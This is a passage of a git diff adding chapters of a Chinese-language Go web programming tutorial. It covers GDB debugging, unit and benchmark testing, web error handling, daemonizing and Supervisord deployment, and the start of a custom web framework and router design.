/home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +上面例子`b 23`表示在第23行设置了断点,之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始: + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息,我们只需打印出相应的变量,查看相应变量的类型及值: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +接下来该让程序继续往下执行,请继续看下面的命令 + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +每次输入`c`之后都会执行一次代码,又跳到下一次for循环,继续打印出来相应的信息。 + +设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果: + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +最后稍微思考一下,前面整个程序运行的过程中到底创建了多少个goroutine,每个goroutine都在做什么: + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的,每个函数的调用顺序已经明明白白地显示出来了。 + +## 小结 +本小节我们介绍了GDB调试Go程序的一些基本命令,包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等经常用到的调试命令,通过上面的例子演示,我相信读者已经对于通过GDB调试Go程序有了基本的理解,如果你想获取更多的调试技巧请参考官方网站的GDB调试手册,还有GDB官方网站的手册。 + +## links + * [目录]() + * 上一节: [错误处理](<11.1.md>) + * 下一节: [Go怎么写测试用例](<11.3.md>) diff --git a/golang_frame/frame阅读/11.3.md b/golang_frame/frame阅读/11.3.md new file mode 100644 index 0000000..d8f9542 --- /dev/null +++ b/golang_frame/frame阅读/11.3.md @@ -0,0 +1,173 @@ +# 11.3 Go怎么写测试用例 +开发程序其中很重要的一点是测试,我们如何保证代码的质量,如何保证每个函数是可运行,运行结果是正确的,又如何保证写出来的代码性能是好的,我们知道单元测试的重点在于发现程序设计或实现的逻辑错误,使问题及早暴露,便于问题的定位解决,而性能测试的重点在于发现程序设计上的一些问题,让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。 + +Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。 + +另外建议安装[gotests](https://github.com/cweill/gotests)插件自动生成测试代码: + +```Go +go get -u -v github.com/cweill/gotests/... + +``` + +## 如何编写测试用例 +由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。 + +接下来我们在该目录下面创建两个文件:gotest.go和gotest_test.go + +1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算: + +```Go + + package gotest + + import ( + "errors" + ) + + func Division(a, b float64) (float64, error) { + if b == 0 { + return 0, errors.New("除数不能为0") + } + + return a / b, nil + } + +``` + +2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则: + + - 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码 + - 你必须import `testing`这个包 + - 所有的测试用例函数必须是`Test`开头 + - 测试用例会按照源代码中写的顺序依次执行 + - 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态 + - 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。 + - 函数中通过调用`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。 + + 下面是我们的测试用例的代码: + +```Go + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function + t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错 + } else { + t.Log("第一个测试通过了") //记录一些你期望记录的信息 + } + } + + func Test_Division_2(t *testing.T) { + t.Error("就是不通过") + } + +``` + + 我们在项目目录下面执行`go test`,就会显示如下信息: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: 就是不通过 + FAIL + exit status 1 + FAIL gotest 0.013s + 从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 第一个测试通过了 + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: 就是不通过 + FAIL + exit status 1 + FAIL gotest 0.012s + 上面的输出详细的展示了这个测试的过程,我们看到测试函数1`Test_Division_1`测试通过,而测试函数2`Test_Division_2`测试失败了,最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码: + +```Go + + func Test_Division_2(t *testing.T) { + if _, e := Division(6, 0); e == nil { //try a unit test on function + t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错 + } else { + t.Log("one test passed.", e) //记录一些你期望记录的信息 + } + } +``` + 然后我们执行`go test -v`,就显示如下信息,测试通过了: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 第一个测试通过了 + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go:20: one test passed. 除数不能为0 + PASS + ok gotest 0.013s + +## 如何编写压力测试 +压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点: + +- 压力测试用例必须遵循如下格式,其中XXX可以是任意字母数字的组合,但是首字母不能是小写字母 + +```Go + func BenchmarkXXX(b *testing.B) { ... } +``` + +- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数 +- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行 +- 文件名也必须以`_test.go`结尾 + +下面我们新建一个压力测试文件webbench_test.go,代码如下所示: + +```Go + +package gotest + +import ( + "testing" +) + +func Benchmark_Division(b *testing.B) { + for i := 0; i < b.N; i++ { //use b.N for looping + Division(4, 5) + } +} + +func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() //调用该函数停止压力测试的时间计数 + + //做一些初始化的工作,例如读取文件数据,数据库连接之类的, + //这样这些时间不影响我们测试函数本身的性能 + + b.StartTimer() //重新开始时间 + for i := 0; i < b.N; i++ { + Division(4, 5) + } +} + +``` + +我们执行命令`go test webbench_test.go -test.bench=".*"`,可以看到如下结果: +``` +Benchmark_Division-4 500000000 7.76 ns/op 456 B/op 14 allocs/op +Benchmark_TimeConsumingFunction-4 500000000 7.80 ns/op 224 B/op 4 allocs/op +PASS +ok gotest 9.364s +``` + +上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次,每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000,每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。 + +## 小结 +通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。 + + +## links + * [目录]() + * 上一节: [使用GDB调试](<11.2.md>) + * 下一节: [小结](<11.4.md>) diff --git a/golang_frame/frame阅读/12.2.md b/golang_frame/frame阅读/12.2.md new file mode 100644 index 0000000..e17a5e9 --- /dev/null +++ b/golang_frame/frame阅读/12.2.md @@ -0,0 +1,136 @@ + +# 12.2 网站错误处理 +我们的Web应用一旦上线之后,那么各种错误出现的概率都有,Web应用日常运行中可能出现多种错误,具体如下所示: + +- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。 + + - 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。 + - 查询错误:使用的SQL非法导致错误,这样子SQL错误如果程序经过严格的测试应该可以避免。 + - 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。 +- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下: + + - 文件系统和权限:应用读取不存在的文件,或者读取没有权限的文件、或者写入一个不允许写入的文件,这些都会导致一个错误。应用读取的文件如果格式不正确也会报错,例如配置文件应该是ini的配置格式,而设置成了json格式就会报错。 + - 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。 + +- HTTP错误:这些错误是根据用户的请求出现的错误,最常见的就是404错误。虽然可能会出现很多不同的错误,但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。 +- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。 +- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。 + +## 错误处理的目标 +在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作: + +- 通知访问用户出现错误了:不论出现的是一个系统错误还是用户错误,用户都应当知道Web应用出了问题,用户的这次请求无法正确的完成了。例如,对于用户的错误请求,我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。 +- 记录错误:系统出现错误,一般就是我们调用函数的时候返回err不为nil的情况,可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误,则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件,只需要记录到日志系统。 +- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。 +- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。 + +## 如何处理错误 +错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误: + +- 通知用户出现错误: + + 通知用户在访问页面的时候我们可以有两种错误:404.html和error.html,下面分别显示了错误页面的源码: + +```html + + + + + 找不到页面 + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+
+
+ + +``` + 另一个源码: + +```html + + + + + 系统错误页面 + + + + +
+
+
+
+

系统暂时不可用!

+

{{.ErrorInfo}}

+
+
+
+
+ + + +``` + 404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在: + +```Go + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error("页面找不到") //记录错误日志 + t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件 + ErrorInfo := "文件找不到" //获取当前报错信息 + t.Execute(w, ErrorInfo) //执行模板的merger操作 + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件 + t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件 + ErrorInfo := "系统暂时不可用" //获取当前报错信息 + t.Execute(w, ErrorInfo) //执行模板的merger操作 + } + +``` +## 如何处理异常 +我们知道在很多其他语言中有try...catch关键词,用来捕获异常情况,但是其实很多错误都是可以预期发生的,而不需要异常处理,应该当做错误来处理,这也是为什么Go语言采用了函数返回错误的设计,这些函数不会panic,例如如果一个文件找不到,os.Open返回一个错误,它不会panic;如果你向一个中断的网络连接写数据,net.Conn系列类型的Write函数返回一个错误,它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败,因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。 + +但是还有一种情况,有一些操作几乎不可能失败,而且在一些特定的情况下也没有办法返回错误,也无法继续执行,这样情况就应该panic。举个例子:如果一个程序计算x[j],但是j越界了,这部分代码就会导致panic,像这样的一个不可预期严重错误就会引起panic,在默认情况下它会杀掉进程,它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。 +```Go + +func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return +} +``` +上面介绍了错误和异常的区别,那么我们在开发程序的时候如何来设计呢?规则很简单:如果你定义的函数有可能失败,它就应该返回一个错误。当我调用其他package的函数时,如果这个函数实现的很好,我不需要担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。 + +## 小结 +本小节总结了当我们的Web应用部署之后如何处理各种错误:网络错误、数据库错误、操作系统错误等,当错误发生时,我们的程序如何来正确处理:显示友好的出错界面、回滚操作、记录日志、通知管理员等操作,最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的,但是在Go中错误和异常是有明显的区分,所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。 +## links + * [目录]() + * 上一章: [应用日志](<12.1.md>) + * 下一节: [应用部署](<12.3.md>) + diff --git a/golang_frame/frame阅读/12.3.md b/golang_frame/frame阅读/12.3.md new file mode 100644 index 0000000..ee61e16 --- /dev/null +++ b/golang_frame/frame阅读/12.3.md @@ -0,0 +1,189 @@ +# 12.3 应用部署 +程序开发完毕之后,我们现在要部署Web应用程序了,但是我们如何来部署这些应用程序呢?因为Go程序编译之后是一个可执行文件,编写过C程序的读者一定知道采用daemon就可以完美的实现程序后台持续运行,但是目前Go还无法完美的实现daemon,因此,针对Go的应用程序部署,我们可以利用第三方工具来管理,第三方的工具有很多,例如Supervisord、upstart、daemontools等,这小节我介绍目前自己系统中采用的工具Supervisord。 +## daemon +目前Go程序还不能实现daemon,详细的见这个Go语言的bug:<`http://code.google.com/p/go/issues/detail?id=227`>,大概的意思说很难从现有的使用的线程中fork一个出来,因为没有一种简单的方法来确保所有已经使用的线程的状态一致性问题。 + +但是我们可以看到很多网上的一些实现daemon的方法,例如下面两种方式: + +- MarGo的一个实现思路,使用Command来执行自身的应用,如果真想实现,那么推荐这种方案 + +```Go + +d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") +if *d { + cmd := exec.Command(os.Args[0], + "-close-fds", + "-addr", *addr, + "-call", *call, + ) + serr, err := cmd.StderrPipe() + if err != nil { + log.Fatalln(err) + } + err = cmd.Start() + if err != nil { + log.Fatalln(err) + } + s, err := ioutil.ReadAll(serr) + s = bytes.TrimSpace(s) + if bytes.HasPrefix(s, []byte("addr: ")) { + fmt.Println(string(s)) + cmd.Process.Release() + } else { + log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) + cmd.Process.Kill() + } +} +``` + +- 另一种是利用syscall的方案,但是这个方案并不完善: +```Go + +package main + +import ( + "log" + "os" + "syscall" +) + +func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 +} +``` + +上面提出了两种实现Go的daemon方案,但是我还是不推荐大家这样去实现,因为官方还没有正式的宣布支持daemon,当然第一种方案目前来看是比较可行的,而且目前开源库skynet也在采用这个方案做daemon。 + +## Supervisord +上面已经介绍了Go目前是有两种方案来实现他的daemon,但是官方本身还不支持这一块,所以还是建议大家采用第三方成熟工具来管理我们的应用程序,这里我给大家介绍一款目前使用比较广泛的进程管理软件:Supervisord。Supervisord是用Python实现的一款非常实用的进程管理工具。supervisord会帮你把管理的应用程序转成daemon程序,而且可以方便的通过命令开启、关闭、重启等操作,而且它管理的进程一旦崩溃会自动重启,这样就可以保证程序执行中断后的情况下有自我修复的功能。 + +>我前面在应用中踩过一个坑,就是因为所有的应用程序都是由Supervisord父进程生出来的,那么当你修改了操作系统的文件描述符之后,别忘记重启Supervisord,光重启下面的应用程序没用。当初我就是系统安装好之后就先装了Supervisord,然后开始部署程序,修改文件描述符,重启程序,以为文件描述符已经是100000了,其实Supervisord这个时候还是默认的1024个,导致他管理的进程所有的描述符也是1024.开放之后压力一上来系统就开始报文件描述符用光了,查了很久才找到这个坑。 + +### Supervisord安装 +Supervisord可以通过`sudo easy_install supervisor`安装,当然也可以通过Supervisord官网下载后解压并转到源码所在的文件夹下执行`setup.py install`来安装。 + +- 使用easy_install必须安装setuptools + + 打开`http://pypi.python.org/pypi/setuptools#files`,根据你系统的python的版本下载相应的文件,然后执行`sh setuptoolsxxxx.egg`,这样就可以使用easy_install命令来安装Supervisord。 + +### Supervisord配置 +Supervisord默认的配置文件路径为/etc/supervisord.conf,通过文本编辑器修改这个文件,下面是一个示例的配置文件: + +```conf + +;/etc/supervisord.conf +[unix_http_server] +file = /var/run/supervisord.sock +chmod = 0777 +chown= root:root + +[inet_http_server] +# Web管理界面设定 +port=9001 +username = admin +password = yourpassword + +[supervisorctl] +; 必须和'unix_http_server'里面的设定匹配 +serverurl = unix:///var/run/supervisord.sock + +[supervisord] +logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) +logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) +logfile_backups=10 ; (num of main logfile rotation backups;default 10) +loglevel=info ; (log level;default info; others: debug,warn,trace) +pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) +nodaemon=true ; (start in foreground if true;default false) +minfds=1024 ; (min. avail startup file descriptors;default 1024) +minprocs=200 ; (min. avail process descriptors;default 200) +user=root ; (default is current user, required if root) +childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + +[rpcinterface:supervisor] +supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + +; 管理的单个进程的配置,可以添加多个program +[program:blogdemon] +command=/data/blog/blogdemon +autostart = true +startsecs = 5 +user = root +redirect_stderr = true +stdout_logfile = /var/log/supervisord/blogdemon.log + +``` +### Supervisord管理 +Supervisord安装完成后有两个可用的命令行supervisor和supervisorctl,命令使用解释如下: + +- supervisord,初始启动Supervisord,启动、管理配置中设置的进程。 +- supervisorctl stop programxxx,停止某一个进程(programxxx),programxxx为[program:blogdemon]里配置的值,这个示例就是blogdemon。 +- supervisorctl start programxxx,启动某个进程 +- supervisorctl restart programxxx,重启某个进程 +- supervisorctl stop all,停止全部进程,注:start、restart、stop都不会载入最新的配置文件。 +- supervisorctl reload,载入最新的配置文件,并按新的配置启动、管理所有进程。 + +## 小结 +这小节我们介绍了Go如何实现daemon化,但是由于目前Go的daemon实现的不足,需要依靠第三方工具来实现应用程序的daemon管理的方式,所以在这里介绍了一个用python写的进程管理工具Supervisord,通过Supervisord可以很方便的把我们的Go应用程序管理起来。 + + +## links + * [目录]() + * 上一章: [网站错误处理](<12.2.md>) + * 下一节: [备份和恢复](<12.4.md>) diff --git a/golang_frame/frame阅读/12.5.md b/golang_frame/frame阅读/12.5.md new file mode 100644 index 0000000..2387634 --- /dev/null +++ b/golang_frame/frame阅读/12.5.md @@ -0,0 +1,18 @@ +# 12.5 小结 +本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要,要创建一个能够基于最小维护平滑运行的应用,必须考虑这些问题。 + +具体而言,本章讨论的内容包括: + +- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员 +- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题 +- 处理404错误,告诉用户请求的页面找不到 +- 将应用部署到一个生产环境中(包括如何部署更新) +- 如何让部署的应用程序具有高可用 +- 备份和恢复文件以及数据库 + +读完本章内容后,对于从头开始开发一个Web应用需要考虑那些问题,你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。 + +## links + * [目录]() + * 上一章: [备份和恢复](<12.4.md>) + * 下一节: [如何设计一个Web框架](<13.0.md>) \ No newline at end of file diff --git a/golang_frame/frame阅读/13.0.md b/golang_frame/frame阅读/13.0.md new file mode 100644 index 0000000..40ab958 --- /dev/null +++ b/golang_frame/frame阅读/13.0.md @@ -0,0 +1,12 @@ +# 13 如何设计一个Web框架 +前面十二章介绍了如何通过Go来开发Web应用,介绍了很多基础知识、开发工具和开发技巧,那么我们这一章通过这些知识来实现一个简易的Web框架。通过Go语言来实现一个完整的框架设计,这框架中主要内容有第一小节介绍的Web框架的结构规划,例如采用MVC模式来进行开发,程序的执行流程设计等内容;第二小节介绍框架的第一个功能:路由,如何让访问的URL映射到相应的处理逻辑;第三小节介绍处理逻辑,如何设计一个公共的controller,对象继承之后处理函数中如何处理response和request;第四小节介绍框架的一些辅助功能,例如日志处理、配置信息等;第五小节介绍如何基于Web框架实现一个博客,包括博文的发表、修改、删除、显示列表等操作。 + +通过这么一个完整的项目例子,我期望能够让读者了解如何开发Web应用,如何搭建自己的目录结构,如何实现路由,如何实现MVC模式等各方面的开发内容。在框架盛行的今天,MVC也不再是神话。经常听到很多程序员讨论哪个框架好,哪个框架不好, 其实框架只是工具,没有好与不好,只有适合与不适合,适合自己的就是最好的,所以教会大家自己动手写框架,那么不同的需求都可以用自己的思路去实现。 + +## 目录 + ![](images/navi13.png?raw=true) + +## links + * [目录]() + * 上一章: [第十二章总结](<12.5.md>) + * 下一节: [项目规划](<13.1.md>) diff --git a/golang_frame/frame阅读/13.1.md b/golang_frame/frame阅读/13.1.md new file mode 100644 index 0000000..0abd043 --- /dev/null +++ b/golang_frame/frame阅读/13.1.md @@ -0,0 +1,53 @@ +# 13.1 项目规划 +做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了 +## gopath以及项目设置 +假设指定gopath是文件系统的普通目录名,当然我们可以随便设置一个目录名,然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录:在window系统设置环境变量;在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`,但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面,现在暂定我们的博客目录叫做beeblog,下面是在window下的环境变量和目录结构的截图: + +![](images/13.1.gopath.png?raw=true) + +图13.1 环境变量GOPATH设置 + +![](images/13.1.gopath2.png?raw=true) + +图13.2 工作目录在$gopath/src下 + +## 应用程序流程图 +博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中,由于表现层从Go中分离了出来,所以它允许你的网页中只包含很少的脚本。 + +- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。 +- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页,但是在Go中,一个视图也可以是一个页面片段,如页头、页尾。它还可以是一个 RSS 页面,或其它类型的“页面”,Go实现的template包已经很好的实现了View层中的部分功能。 +- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介,并生成网页。 + +下图显示了项目设计中框架的数据流是如何贯穿整个系统: + +![](images/13.1.flow.png?raw=true) + +图13.3 框架的数据流 + +1. main.go作为应用入口,初始化一些运行博客所需要的基本资源,配置信息,监听端口。 +2. 路由功能检查HTTP请求,根据URL以及method来确定谁(控制层)来处理请求的转发资源。 +3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。 +4. 安全检测:应用程序控制器调用之前,HTTP请求和任一用户提交的数据将被过滤。 +5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。 +6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存,视图首先被缓存,将用于以后的常规请求。 + +## 目录结构 +根据上面的应用程序流程设计,博客的目录结构设计如下: + + |——main.go 入口文件 + |——conf 配置文件和处理模块 + |——controllers 控制器入口 + |——models 数据库处理模块 + |——utils 辅助函数库 + |——static 静态文件目录 + |——views 视图库 + +## 框架设计 +为了实现博客的快速搭建,打算基于上面的流程设计开发一个最小化的框架,框架包括路由功能、支持REST的控制器、自动化的模板渲染,日志系统、配置管理等。 + +## 总结 +本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息,也简单介绍了框架结构采用的MVC模式,博客系统中数据流的执行流程,最后通过这些流程设计了博客系统的目录结构,至此,我们基本完成一个框架的搭建,接下来的几个小节我们将会逐个实现。 +## links + * [目录]() + * 上一章: [构建博客系统](<13.0.md>) + * 下一节: [自定义路由器设计](<13.2.md>) diff --git a/golang_frame/frame阅读/13.2.md b/golang_frame/frame阅读/13.2.md new file mode 100644 index 0000000..37c4141 --- /dev/null +++ b/golang_frame/frame阅读/13.2.md @@ -0,0 +1,276 @@ +# 13.2 自定义路由器设计 + +## HTTP路由 +HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括: + +- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11) +- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等) + +路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。 +## 默认的路由实现 +在3.4小节有过介绍Go的http包的详解,里面介绍了Go的http包如何设计和实现路由,这里继续以一个例子来说明: +```Go + +func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) +} + +http.HandleFunc("/foo", fooHandler) + +http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) +}) + +log.Fatal(http.ListenAndServe(":8080", nil)) + +``` 